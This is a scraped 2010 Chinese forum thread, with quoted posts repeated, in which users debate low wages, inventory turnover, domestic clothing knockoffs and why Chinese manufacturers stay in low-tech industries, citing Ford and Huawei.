现在看,效果还是有,不过看看库存的周转效率啊,显然还是没太玩明白啊。
如果能够做到人家服装展会刚发布一周,咱这边的山寨货就在国内的网点铺开,那么山寨的威力也才能得到最大程度的释放——那个时候洋货好多还没进来呢,你就可以大赚一笔了。可目前是洋山寨居然在国内也跑在土山寨前面了........
其实现在的问题并不是生产了好多“低技术”的服装、纸张、机电......
而是就是这些东西俺们也没有玩利索。
很多人说,这都是低工资闹的啊。
要是木有低工资啊,大家都会努力挖技术潜力、管理潜力了.......
呃.......
当年老福特可是主动给大家涨工资的说,为啥没见TG这些“低技术”领域的老板们有如此魄力的?
显然这个问题不能怪TG不要求大家涨工资也不能怪农民工们要价太便宜吧?
不过话说一些地方的服装企业依然意识到产业链整合的重要性了,纷纷铺点,搞终端。
现在看,效果还是有,不过看看库存的周转效率啊,显然还是没太玩明白啊。
如果能够做到人家服装展会刚发布一周,咱这边的山寨货就在国内的网点铺开,那么山寨的威力也才能得到最大程度的释放——那个时候洋货好多还没进来呢,你就可以大赚一笔了。可目前是洋山寨居然在国内也跑在土山寨前面了........
dodge 发表于 2010-5-9 00:27
我有说过你是畜生么,原来你不懂什么叫做类比呀?就这语文水平看来果然是无法沟通的啊。;P
我有说过你是畜生么,原来你不懂什么叫做类比呀?就这语文水平看来果然是无法沟通的啊。;P
扶栏躲鹿 发表于 2010-5-8 13:47
终于看到一个明白人
终于看到一个明白人
便宜老外了
回复 30# slf85
兰葻湖畔 发表于 2010-5-8 16:55
A3没有值得俺们禁的
A3没有值得俺们禁的
不玩CS的T 发表于 2010-5-9 10:47
其实都是老板的观念在作怪,当年任总就老是教导我们“要发挥华为低人力成本的优势抢占国际市场”,底层员工一听这话那个郁闷啊。呵呵呵。。
其实都是老板的观念在作怪,当年任总就老是教导我们“要发挥华为低人力成本的优势抢占国际市场”,底层员工一听这话那个郁闷啊。呵呵呵。。
炮艇 发表于 2010-5-8 22:53
:D:D:D
:D:D:D